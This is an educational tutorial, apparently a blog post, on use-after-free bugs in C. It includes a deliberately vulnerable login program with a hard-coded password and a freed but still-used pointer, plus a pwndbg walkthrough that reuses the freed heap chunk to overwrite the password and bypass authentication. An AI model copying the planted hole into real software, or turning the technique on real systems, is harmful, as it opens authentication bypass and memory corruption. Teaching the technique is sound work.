Use After Free Vulnerabilities

A pointer is a variable which stores an address of a memory location. A pointer becomes “dangling” when it no longer points to a valid memory location.

A use-after-free vulnerability is a specific type of dangling pointer issue. The memory chunk which a pointer was directed to is de-allocated. An attacker then may be able to request a chunk of memory of the same size to control the value the pointer is directed to.

This leads to unintended consequences, including subverting the applications logic, memory leaks and potentially code execution.

The below code illustrates this behaviour:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main () {

  void *ptr;			                     // define pointer
  printf("1. pointer before malloc()       : %p\n",ptr);
  ptr = malloc(0x20);		                 // allocate memory and populate pointer with address
  printf("2. pointer after malloc()        : %p\n",ptr);
  free(ptr);			                     // memory is freed, but the pointer address is still valid
  printf("3. pointer after free()          : %p\n",ptr);
  ptr = NULL;                                // correctly setting pointer to NULL
  printf("4. pointer after NULL assignment : %p\n",ptr);
    
  return(0);
}

Running the code shows that at step 3 although the target memory address (0x55e0d23946b0) has been freed, the pointer is still using it’s address.

At step 4 the pointer is correctly assigned to NULL.

1. pointer before malloc()       : (nil)
2. pointer after malloc()        : 0x55e0d23946b0
3. pointer after free()          : 0x55e0d23946b0
4. pointer after NULL assignment : (nil)

Vulnerable Application

Reviewing the code, we can see;

  • ptr_password pointer is allocated heap memory on line 27.
  • the hard-coded password is copied into ptr_password on line 28.
  • The user has the ability to invoke malloc() on line 38, using username option.
  • The ptr_password pointer is freed on line 60.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main () {

char *ptr_password;
char userPassword[12];
char inputData[20];
char strPassword[] = "Password1";

for (;;)
  {
      int selection;
      printf("1) password\n");
      printf("2) username\n");
      printf("3) authenticate\n");
      printf("4) quit\n");
      printf(">");
      scanf("%1d", &selection);
      fflush (stdin);

    switch(selection){

    case 1:
      // Enter password
      ptr_password = (char *) malloc(0x20);
      strcpy(ptr_password,strPassword);
      printf ("password: \n");
      scanf("%10s", userPassword);
      break;

    case 2:
      // malloc memory chunk
      printf ("enter username: \n");
      scanf("%10s", inputData);
      char *heapChunk;
      heapChunk = (char *) malloc(0x20);
      strncpy(heapChunk,inputData, sizeof(inputData));
      break;

    case 4:
        exit(0);
      break;
    default:
      printf("Invalid selection\n");
      break;

    case 3:
      // Authenticate
      if (strcmp(userPassword,ptr_password) == 0) {
	       printf("----------------------\n");
	       printf("Authentication success\n");
	       printf("----------------------\n");
      }
      else {
	       printf("----------------------\n");
         printf("Authentication failure\n");
	       printf("----------------------\n");
         free(ptr_password);
      }
      break;
  }
 
  }

  return(0);
}

The above code should compile on any recent Linux distribution with;

g++ use_after_free.c -o use_after_free -no-pie -Wl,-z,norelro -z now -ggdb

Exploitation Steps

Start the application in pwndbg, and select option 1 to enter a password.

gdb ./use_after_free 
pwndbg> r
Starting program: ./use_after_free 
1) password
2) username
3) authenticate
4) quit
>1
password: 
test
1) password
2) username
3) authenticate
4) quit
>^C

CTRL+C to break execution and return to pwndbg. Use the vis_heap_chunks command to show the memory is allocated on the heap:

pwndbg> vis_heap_chunks 
0x404ab0	0x0000000000000000	0x0000000000000031	........1.......
0x404ac0	0x64726f7773736150	0x0000000000000031	Password1.......
0x404ad0	0x0000000000000000	0x0000000000000000	................
0x404ae0	0x0000000000000000	0x0000000000020521	........!.......	 <-- Top chunk

We can see our target password value is allocated on the heap.

Next, we need to find the pointer address for the memory. Use the “bt” command to show the previous stack frames, and “f 5” to select the programs code. The “p ptr_password” command will then show us the address of the pointer, and it’s contents.

pwndbg> bt
#0  0x00007ffff7ec6b82 in __GI___libc_read (fd=0, buf=0x4046b0, nbytes=1024) at ../sysdeps/unix/sysv/linux/read.c:26
#1  0x00007ffff7e4bd51 in _IO_new_file_underflow (fp=0x7ffff7f9f9a0 <_IO_2_1_stdin_>) at libioP.h:948
#2  0x00007ffff7e4d0e6 in __GI__IO_default_uflow (fp=0x7ffff7f9f9a0 <_IO_2_1_stdin_>) at libioP.h:948
#3  0x00007ffff7e211e0 in __vfscanf_internal (s=<optimised out>, format=<optimised out>, argptr=argptr@entry=0x7fffffffde10, mode_flags=mode_flags@entry=2) at vfscanf-internal.c:628
#4  0x00007ffff7e20112 in __isoc99_scanf (format=<optimised out>) at isoc99_scanf.c:30
#5  0x00000000004012c3 in main () at use_after_free.c:20
#6  0x00007ffff7de7565 in __libc_start_main (main=0x401236 <main()>, argc=1, argv=0x7fffffffe128, init=<optimised out>, fini=<optimised out>, rtld_fini=<optimised out>, stack_end=0x7fffffffe118) at ../csu/libc-start.c:332
#7  0x000000000040117e in _start ()
pwndbg> f 5
#5  0x00000000004012c3 in main () at use_after_free.c:20
20	      scanf("%d", &selection);

pwndbg> p ptr_password
$1 = 0x404ac0 "Password1"

Freeing Memory

Continue execution, and select option 3 to authenticate. This will fail.

pwndbg> c
Continuing.
3
----------------------
Authentication failure
----------------------
1) password
2) username
3) authenticate
4) quit
>^C

Reviewing stack memory chunk holding the password has now been freed and placed in the tcache bin for reuse, but the pointer is still directed to the same memory address:

pwndbg> vis_heap_chunks 

0x404ab0	0x0000000000000000	0x0000000000000031	........1.......
0x404ac0	0x0000000000000404	0x0000000000404010	.........@@.....	 <-- tcachebins[0x30][0/1]
0x404ad0	0x0000000000000000	0x0000000000000000	................
0x404ae0	0x0000000000000000	0x0000000000020521	........!.......	 <-- Top chunk
pwndbg> f 5
#5  0x00000000004012c3 in main () at use_after_free.c:20
20	      scanf("%d", &selection);
pwndbg> p ptr_password
$2 = 0x404ac0 "\004\004"

Overwriting the Stale Pointer

Return to the program, and select the username option:

>2
enter username: 
test
1) password
2) username
3) authenticate
4) quit
>^C

The username entered is allocated using the free chunk the ptr_password pointer was directed to. We have essentially overwritten the password value:

pwndbg> vis_heap_chunks 
0x404ab0	0x0000000000000000	0x0000000000000031	........1.......
0x404ac0	0x0000000074736574	0x0000000000000000	test............
0x404ad0	0x0000000000000000	0x0000000000000000	................
0x404ae0	0x0000000000000000	0x0000000000020521	........!.......	 <-- Top chunk
pwndbg> f 5
#5  0x00000000004012c3 in main () at use_after_free.c:20
20	      scanf("%d", &selection);
pwndbg> p ptr_password
$4 = 0x404ac0 "test"

Continuing execution and attempting to authenticate should now be successful:

>3
----------------------
Authentication success
----------------------
1) password
2) username
3) authenticate
4) quit

We have successfully bypassed authentication by exploiting a use-after-free vulnerability 🙂